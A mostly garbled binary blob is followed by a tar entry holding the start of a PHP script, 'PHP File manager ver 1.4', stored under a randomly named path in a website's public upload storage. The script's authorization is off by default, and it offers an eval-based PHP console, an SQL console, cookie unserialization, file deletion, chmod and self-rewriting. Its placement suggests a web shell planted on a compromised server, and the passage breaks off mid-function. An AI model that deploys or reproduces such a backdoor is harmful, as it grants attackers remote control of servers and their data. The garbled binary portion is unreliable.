Tٶ/�L���f~�8�<f��^M�p��i[���h]��!]��smV/�@�R�6�x)��P�$��V�\.�Ǟ�Z�`a'4K|�{�وo��W��h�
ȁ��n��<K��O:��^�z�Uꅆ'��6�t+��Dɇ�
�'9����1>/��}��Z���Y�0�����xB�}08/�.[��R�cyRnǪ;i��}U���lPa}��4Mu��}�8�䒽}9�ɯc���V?)��;r^J��nr*i�m?����vl(�|0����:
��d;��,�ʕ��P���g]!W��bv�ڹ~�?i3�S�׎4��Lp�I�N,���jK�l��^���y+R�
�åT�wE��Y���>\7��*��46���uPLy��lP�/p��~�ʮܺ<+���0�.�j�b{�h&6�$W)N
m�ث�$)����6�Z��TǥY�[L7�-�b�bqhז�Z/<K	�E�PIwN����u�����M�2���䡱�g�a-0��j8F�٨�9�"e���I���J�;,��،�nV��G9���e7����T�
9Ew��x:j�F5|�I,�e�B+4,փa�{��WrrX���B�N����}l[�J�`��iݰ��(����+�n4y��I��U"{����a7�{�|�?+��L69��z��UI��G��;�O�`~�̅��Q��Ŗo��2�^�>Ԋ��0�Ox�^s����W�j���|��Ղ���?*�'�Ru�F�ଭ���r��I�E�֢[ov<�F ��y���{r�ft�Ew��/Z�z�S�mG�;M�&�ݪ�7�'Z���Hq��BK���Q?���V����H��:�f�U�6[�@��Ƶ��a��U�Sw><�Bbu��K��d\�c!�V8^>D�Z&�;��ޘ/֩ծ�5�Z{��F��6Ҏ�=>~�	JJ�W'���W�.í]�s�I\dPn/��)t�C|"F�\z$+�h8P�r}��D2��̷�"�D��֯�B|�tx:�nt�_mb�~ ��kr�]�����[NQ�c.*m%��`����(/�ñ�k=���I52b'�8۟d5@��I��n���X�n�v�0�g�Z�_���I���y��.��o�ya���Mv��
�upX��x:9�#n�KF�4�zjmI�����(5b����:Yu����nލ�'5�pޔ���2\cG���D��b��a���S��uw;mߟ��Cp'�c���+�c2���I��+M��ê�`c�Dx~bs�S�W�\�,�|3�f�X�����0z�_gf�1R�[mI���P0L�̲�lLƩ�>W�-�\�T��1�^����^�P;�f:;���O=WH�j�F3&$&�)W����c�#z�X"�	�⨔�2�B%���欑�MW+�߯�W��p�ɯ�cx��r�4�����w��X4P��� [���qZ�|��)�z���f��yj����t����9*�u��p�496�}5^
��Jl�Lb�8��B��=xƓ��ǯ�Ϧ�5���O��ہ�>3�%���0ם˭XPخ+�l�(���>]F#�]c��g�R�\/��q�XV%>r�/��*�������OֲN�'�M�$�L9�-o<�֨P���t+���<��m}�R.>�Ed[�����jo�m��v/�d����'{� j%���oWqPO�E�}L���ԓ���A�]J�jZ���M`�_�b*%
��$7�6j�J���(w���B���z�8'֔e*��q�MY.��3��{�'U����Ǫ��o�]�+�Nf[v)6p�*>_=&�DB�N�L{�O�X�.��v6H֎rl�i�b�������gJ
��@��t;{���,��Ek�X�RWnC"b��O]�O]�O]�O]�O]�O]�O]�O]�O]�O]�O]�O]�O]�O]ȿFҞ���􂘌-�.$�kUzl��s��U�>�W��OZ��Y�!ӭ́O澝���"+���X9��r搝%��8�8�7Hiy?�����"|]Z�{O<
J�t��E=�#���I��O���)���O��!#lj��D1�ąh.4�z- ����;�!����^����B�hɕI��e�t���s`$��D5�_�H.m6�
7�(��lWI�#��F��V�
@�K��Z)�f(��d��q�[����H[�O�TS��7�V- ��_Մ�`ZX+���V=)ˠg�e��/5S+��p�.��y����ۨ|
g�Eg%̓��ho�t�"�3�x��N��JW��Q �I�] ?e��`�����\>jM&��f��}K�̧��j��z�f�0�H��.�kM`�AA�e:�^�Q�ɇlX�V��R)��'�T~���������7�y�R4N�I!��������Sx�
�N\��	�B�Az�O���R�������*W���B|��g|��,�����U��A�$�l����T�N���::襔�A�g{�c.q
ݒ<>�{~�#G��r,�N����r.Z��K:�O�m�����N\�k��/�W���hTjЇ��x�EnލAW��E��b�l��j�xpގ��Èď⊗��4��z��m^�-�X)�y5 �iUUF�r����'XϬ����u���+b(��)�J.���v�^"	��9B��~��*$���~?�w��r���E_5ݘZI6^��ԇ�o���}t��
C	p��<?a=��Q���p/mV��2��(�:,�+.�B?T�T�+Oב���XO��e�X�8WC��6vA%^ݮS�x�s�q�8I�Y��Z�J��M�{1PC���z65�[8����Q���V��t�㵇U��z�Z�wTO�Du[*��/�-����+�����6�*&��r�0�(�|l\��b��)��]�/k����C%�xb*���A>��=�$W��X|O�5,A�#�@S��8����4���U�Tn�<�5U5eVJ�l|6g�ɮ��M�r�/���,���n7\n�f�l2�̆l����6˦Z�¦)�Ӟr�:Zv��y��+'����L���J�m����|�S@8*!uf�����(0���q�H&���8l%�# 	
�������e��a���vJ��|U��:�T�J��K��(PQ��\�/N�iwUHǵ�62�PJe��d���p۞��� ��$Yi��J
H��bh�R����-;
[�ʊۧ�ɴo����i�\��Bqg�Ʉ/��w�h����P��B�'W�\����b���R*5����j\�)��4�trÜ?1�m�a�n,�\n�$��0p���hϳ�l���4�j�]C��}[̞��j�?5J'9Q:qsmPh�K�)�
�c��%Z�n�Y
���#��[	��1�X	���YqlY}
��7R`##�����h)�č�����f4���3��d)s�R�h�_1������U�{I��7��w?���5���{#'Ġ��bS_a�Z�~�?�"0����9O2/��1��s�(�̋��;������5~Ђ�X~������)�XW�,�-|N��o�_M�P�#�U�l[_����Y�z=��>�:�K	zp�H���^��(�&�@9�P�-���z�+�酡���C$�A�
��݊9�jan�ss����0�O�J�bϸ箤��$KS��ű-�r�ޜ89�Ϯ�S-F���؊����?=b�A�G�ű�U��4
�}7�
�����
�<�R��*��CJ>������&�M\[���`�:��� ��/��@%��|wwr�$�7��>gS�=�K�b���6��^'����F�"H3
t[�]��fP,#$���Ⅰ���C�;�%'me\��I�q�A_����^�`�;�<�%��Ŏ�g0�G/�CG��t��^�M;?:��u~��ןb�hz��n�`�Q^˱�:�&�h��!�FL�E����u����ѝB�֒��…}����v������#~cm�Rɨ��sZ(orrh8��/X��3yEt��D���2Q��IX|Q���e"�9_t�O���~?�X$0�=N
V˿=b.}�G������{����#·����Dȑ�$�-������9�Ӽ��B�	��}�9 ������aj��#��q
�q��ݺF/�u����Er�N�9s�R/Z�ڥ~����W]���@�~��I�n�%	ʱn'A�x�ODE��ޜ�T�H����B��\��Ə�g�/�	�E1���b�n��'c��i��͎�)���Ұ�-�v���%�(1DX�e�h�S�-͑Y���v�:y�����Ew���}����M�N'��:6~�A?�Aߩ���
������$7^`�p�?�J��E�N�
��͐m��m��q/���X�ů2��0o�!��!� .�a��*�v��B����0��Ia=xi+�G���x�swM�BH�U;lz�>B#p��h�zXeD�<Z]0��X�օ,=��5�%I��W�u���-&K�tS&Y#��0,s��ۣ���x�7�i��H���E��W�m@�(���!�hf!0�7'���/4�l:'"e�o����.�l�+u�
�W�ۧ��:�'�X[���z����S\�PP�c"�0U߉�M���ވ9��
�u���]e���vv�v	��'ب���?������Xpڃ��(惍�NR��]��1�J�PT1��p�4��P�kM�#��4	0��v��ʟ�M$.�����Du��8/�.��',�@:�p��go��*"�4b�#?P�k�)	{���Ⱦ��m��Q��(?>��L��m��!���~�?JR��Ͽ�`W]y����']c�7�r�f@��x.�rF���ܳWuM��['`g�M�~��򹘱������or�����t�
޸��WB���0Owg]{+;�X��~`9}v��o��{a����
��y��xk����-�O��}ĶY|�_]P@��j��)x1cgf�M���o�لt��q6�_A�L?�b0:��
�En��Vݘ�����������sX�vP)�j��Nj'>b���I�p��
�3���`cb{	�l%�Nt���ؒ;Aўq�y�Х-��7s��Հ3x�<5��Ù��9��~#��Ɖ^���m/N>�Ѷnt�
��"���{J}�!0N�
��I
�O���&Y�O%n����#%�r�C}�g���e7��.0Sc%�h��V��̛������w��K��y�@L��3�Qu	�iړp��hE쏗[�Qb�
�k�ē�o�9�~,����x�邠�9��A��U†
��E����F��yF�hC]�I����سhr/8�%��B~�W�u��o�Y�,h.p���G�(qP������\�/���Y��,�lu����$�[G�bI����x5�A?X!Cl``�g\P�8;��������=�G��l.j`�����qD��� �/p�z� u��u7!�d.,�ة7N�\JX<�w�e`�upJ�ܜ;�lH򗻾Z^�Қ��>9,뿡��������F��ާ����{�0�+��Z�=�8�ŖC�'�ǿM� 9
�EF�j����8���ič�����Ӑ�O�ڤbS孂�d8:��e1���&Jؤ�,�p���QYh@UM�Kq����p��6�
F��������T�i��|V�Wi�<��t�`t1i3���HΩ4f4��2��;dā�T+��0Uw��G�á��zcD=�.�Ë�.-�DM2�aw��M�G�Ď���:��n�����8�� �FC��A�i��H8��m�����͋�K�CSK�:`�i��z���ZV�
��Jh:���e,��y
���9�֗��1?��mA����ZT�B���
�h0dI�<X�r�u��CBN�d�Io�&x���g����w�e����+�δY�����H���m˲�+;�R��ye������%�F8������Z�^/��V`\�GtH�H��'\�dMB����ܴ^���Ɣ1FK�Ι����|���%��(l�$[n��.����`-y��(@l�7�w#�5�����6`ژT�0))�n�����z�@��7x\��X�nBcf�S���V���f�и�z�h����7�A�5%���W|�!��|
̛N���������z�\���>�8��M%h1%���.�^�?�4��p�LkH��FBu�vcu9n��e#C�V(�tU&��u��j�>��
���/�7�8���z��n�"�3�)�̸M6m���Ë�[T�XMKb���Dħ1��a�֬:E���+�Lx�5t��`~l<���d#IU�JX�>��;��GS�w�G����Y�M�0�]���F�m4��h��]�[�z�ߣ�7��c<��Rל��Q���/�@�k�R�+�����)-��lU�p#U^n5ၡϏ�N���y&Ky����+�=04R
��
t�W=(��lΨ�N-�m��C����ukEl���[�p����^~�:K^1����g��m��CX隧�b���z����k��c���)�q�v��훑>5O���[Q�)�����z>�EF��	� ����o���Uk\�=���KvNj��,OY>�0B�QilE��FR�%X��r�~�.�}V�Rs~1e�l���ꢥ���R
�U����n�>�m2SDM�`��[]���­��,U#S1���z����id�CU�)�ye�]�Pq�f@ƴ�Cjs�@m���:�$���ι��[�k�
K�p�(�$�dY�͖�L�]����ٜr�zd��6��ü���|)�Q8/������ 0 =�Q%��(��+A�
���1
��gה31����B��	mR�V�F�AoÕ��KoZ�K����h6k�K�� �!��7���AR�-�=1p9�hX����8fz3K<}��\g�,':L�C�~2�S��� �G���߿�I��+�8t��@n^��^���P��Q!'�1E��:(�(�U��	}4�SE1�^0x�����g����>X�h1��㫋�VH(s����%_���/��:b_ل�1Y1��UbX:^w��+�v�ྰt�@�k1�����lp�r��F�\gdLY�Xob�A(x�o���<`;���g�%l!�
�i�)�e#C]+rct��8qك��
|{Q�������4xy�u�W���k-��k�
���ϋ9��P���>~u1���� �P���xT�&��ǣ${���tEA�?!���o`�A�*�l��gz���&e޻�Q��͔Ǿ.����Ԉ�fl���)�O��bҦ�ĺqu0�縬ۉz�����B^S����GF���Y����+�}��`-=^֐<��{��tI�-�,�%j�'�ݺ3^�菛���d"Cw��	��/�-ә���d&�SB'��!���v�>�h�3�i<��S
�I{���ވ���m0/
��v��}̝
���v����͇1}̊�����4�z�&�waO�}g�vno�2��e+%TP�D�ʇ���?��V��0�}����
Pu����7W���-����{��k��s;6h��c����k��1��L�LL�5�fA�3Σ�!�����<M�����;.�J+���y�q���$Eq�/�o�&�ߘ[H�8E��Q�
����>����q�%�t�ik��e��6ێ���M��p8���˃��ʇk�1WGG7mN��\=��g�Ku�U��߉�*�EP�ί���,`��l��|�T��qt݅�o��c�����[�Y�G�3�$Nn���#r;t	(Φ`�7���F�p78�1,)~Au��d���m,�<���T�;��X��f�a3>�Ԛ	��^��A�)�%@����̵l���?�u���a�쎈�������:�ģ`Ҷ���@%�d+!�!C�28�7:��*�����ә�1+�q��c�`��	0�B낽���/�[��t�U��$�n��
pĩ�h���/�3xI�,��!��#�p�V���h�t�!���6�����8T|VQ��YEd5��,��$dA�r���
s��W�d*����b�\���f����!7��d:��J��Eն���x��P8��=��袨�\]������^f�e��q^��_�}>}`��t��{�����6{`<�%���^GWw��e
 ��n���?c��1`A!�n��$�%�x`���d>}b������yT��af6=s3~��*����e���e`���?݁+�1�_��1�A�o��
�Ep�j�@��M�&�M
�IA�ӓ:����iA
bu�Ȅ��'�� 
����3���#��l�,�J����L�@����5�-��0|
���+���2���	�_n�����9B��y׋���K���Q
���d-���Tlˈ.����ݸ��*"�no��^\��
A:9���9���z/?^T������-bJTy����^�LD���+R��Rs����w��L�v�mfR���0JH������
�˕*3�oO���=���,F���$��Qϓ`JP���{���'���<�`
{��iiL�r��D���k���%يᾰ���)N���>}Z	`���
���C�n���[x�w��9on�(|�-h��v�6v�>����1��>�0���L��]'�G���T/�H6�~���;j�~������`�^���ˬϪ������=Xs�p��k�$
��e��cy��y'����&~�M'��b�ڄ�k�@
�2�G-CaХ�,=�����;Q�d�])��H7w�v%�!0n�x1�ྎ����o�?�b������_YG����Z�r��m����x��ir�Uka��Z��`�܉�h�+�/&��m�F�|��3����阉�A*G����&+w�#jb
f�(�RE؛-�����U�U�0W���.��YU��r�%Y6�Y���0�?:�p:=�ݰm@��ߕ��{���MX�)L���@{(�)�B�Wwxa�	K7t��>X*,U2�	�l�_ͅ1`?P��ŧ����Ї���}02(�Q�<��� bFA��AgUD�G7*D�@���E�v��k�1�91 �:��� ���<��
��]��1�̿�M���M���ѽԽ�������f�q@X����`?p��a2��}�#���'"�l.�Ly�4��R�d;8�9�1^�P���/He���6o*PS�g��o�r��Eb�����Y�$�j�$�7������>�cK�5�����3V$�G���\�
o�0lxUd�m���
.�t�j�\�</EU#��
r�i	�H��b��Si��QsC.L��u�w3��NK�&�x|d�ԗ21�L��#i���Rd7c���/ΌР��"�Nn�禫�����']߅$��k��Y]=BѦ�ϛ�2�Оy�v�����L�+v�E�5�
��<:@�e�����g��S	�/�ٚ���ŋ����\�a0Ax�kA
��2���!�-�K����^����_��h;�
n���z��?`��I�'�"��l��#Q�#����xq��,�%nOnj��v8	M�nL�M�ފ'�؇�XG��C0=�G��"�5ʿ���&R�D�'�V2\ž�5l��v�=z�Y�T$�PMr�g�r��d���×��&x���&a�f��w$U��	�q(���ݐv��B�:���f���.����������vN�q�H��r��K��2=0Hr��OU�O?V��B�J��1���멥�����Q�'kc������9M�Ɯ�����^�����_���`LT'�猳��W[7�vx3��t��gu�&�T$��h�A�K͓�F��rg��9%���m,M�%��TÑ^|7/~�G!�1/�s�쎵��V���8-[�a_����]z��~��^	��M1�L�e(7j�"J�p!H���?��@��L>s���w.7aWL%_5��C��3,	��~�c%�|��P�ft�H��&jK�U�3�D��i`��-��+	�DAH�<0�X�����5,'����3	�~z�͚U����D�?�C��@�%=1�l��\��L<�Qȑ����j<Q�T	VTeI7**��w.��Jf��y������g"ͿdZ�yu�KMf�f�$JcYQ���ɑi.-���~�<��&��2j!x$˱	ߓ�d���uc�cy�i�%̷�Si�tFb���Y�ȼ@#��f�6z��\?8��ϓG��8Y���'�e��p�7�MOyqIo7��g�x;��&�c�������m=66�%�k�gn�g�ģ��k+��،H��٨��I��˲�u;���wh�p�BK��ۼ,p���
���ǝ��2�!�-o�`���ԧ���Á�%>��~-z�..����D�`���Ҝ!'��%��Y[
O��*��}'�ա��e�epRh�qi��>�cR�`��
����-Ȣ�=�
�ܻ;���ڡ?��Tʭc�c�]?j��'Y���[�;������b�e�5`���g�Nz7<8��6
��9?g����m�䦤p��б�B���R��„X�/a���ƈ.eY1���I
a�L�O�jaG8�o����DRG���ƹ���Rע��R�0c��(�y&~�q��HE���VmZ�ז����G9��cg��ܣ�G"{�#�H�bJb
a��}�&��+q9F��mH��۷~�в罠�[���Q��<�
c�})�M�:%g��y�1j��N�(_ؠ/�u3ox��C��&n	�ӑ��R�h@׷ie
���]���^�W'�g�w�;�(�=�|���
qL��xq_�@0�b��%�:�
�<�
����o^���a��3�E�s����oa�� @k��`%IVy���+����̼�G�ӑ� W�z�:��#p�׎�Ltk��f����+�H\N�p�
ً����r�V��s
��
�[����&�'���2Ɖ�tS����O��B[gxQ���7�6�8�Ʈ
W�:TG��~�밉�H��~mi�H��%�ǫ�Ц�x�r�t
���:g�@�]�B�u���|�[�T���o�f�Y�MZ���e�l��~L ��;����CF�?*w��p3h��:g�N�����>bq��I���@����j��nkct1��(E�P����������F�x].>�
��#���ƍ[c(��Q���-�ɀ�5��O�>D5:m\0��P<
u���=4��Q���<�
�oA�H$½�"0 �p��e��$�U��AE0P?��&Vy<��@����}>:�,[�<��z�"�My�F_�8���n�E1I�b!8x��r�7�, ��X.��V��)i�v+n.+�(�
RDZ�aOm-��XK�MW7����:�۟�|�"��X3�L ��f$��9o_PN2:t�&�Y�t��\Z�V��̪2V�F������ �#�0
�S�Z��W�q�*���J]���:]ί�7���#q�2�?l1��bEY��uJ�6�:=NNj,\�psr1�? �'~(P~�.�(�?*s����[[��I��Eǣ�z���;��;{�V0n扉Ǒ���,lCdѐ,�Fo=�x�J�-��e@�\�o�W׊(i��_�~�)�����E+s���^��$}^�w�^��,ä��x�^�@�a�<8�^�Z����dtaMc@^:�0}��L��G�|˜�-L�b�=i!V�h�QcFG��L,|��~��tƋ��f�ؿ�o�`���0�M�������EV��
���&�V��P�~�;l4���n�!p.75�˄��F�U1/j�$K��0�f���d�,��.�ÑnT�0:�@/��r�L�.�*����*�x3|/,W�u�p}�}�[�[�x|Ӎ�3|��n���^�V���?�N~¡��̲d����X:@"�������j����6��Kk[��b��X��/�oo+F�PGm�V�╃D�'?.漉��Yr��&|�$�e�����?�>�������u)����,y8�=:�@�G��������#����xn7������i�+G��T�������8�E��&�x���0��+M^��ɮQQ[S7q�%����51z[���o��Z�lO��|���[�Q��9�=Mf(�׋�_I�P�`�{=��6�V��?i��$�5�kkr�؅]�{��
+?e���4���+
�lU��Z׽���KNbTJk�o�gӱ�S�	s����J+B3S���vW�7�g��ٻ�yq�:ԡ��-@��+QW_[aR5���������Z��6�o�!���3.h�@���8�01����9z��~����������Ͽ�?�~���@�L�PK!�,Y<<5dkj3p/4ysuf.php.tarnu�[���var/www/html/back/storage/app/public/26/5dkj3p/4ysuf.php000064400000232670000000000000016613 0ustar00<?php
/* PHP File manager ver 1.4 */
// Configuration — do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
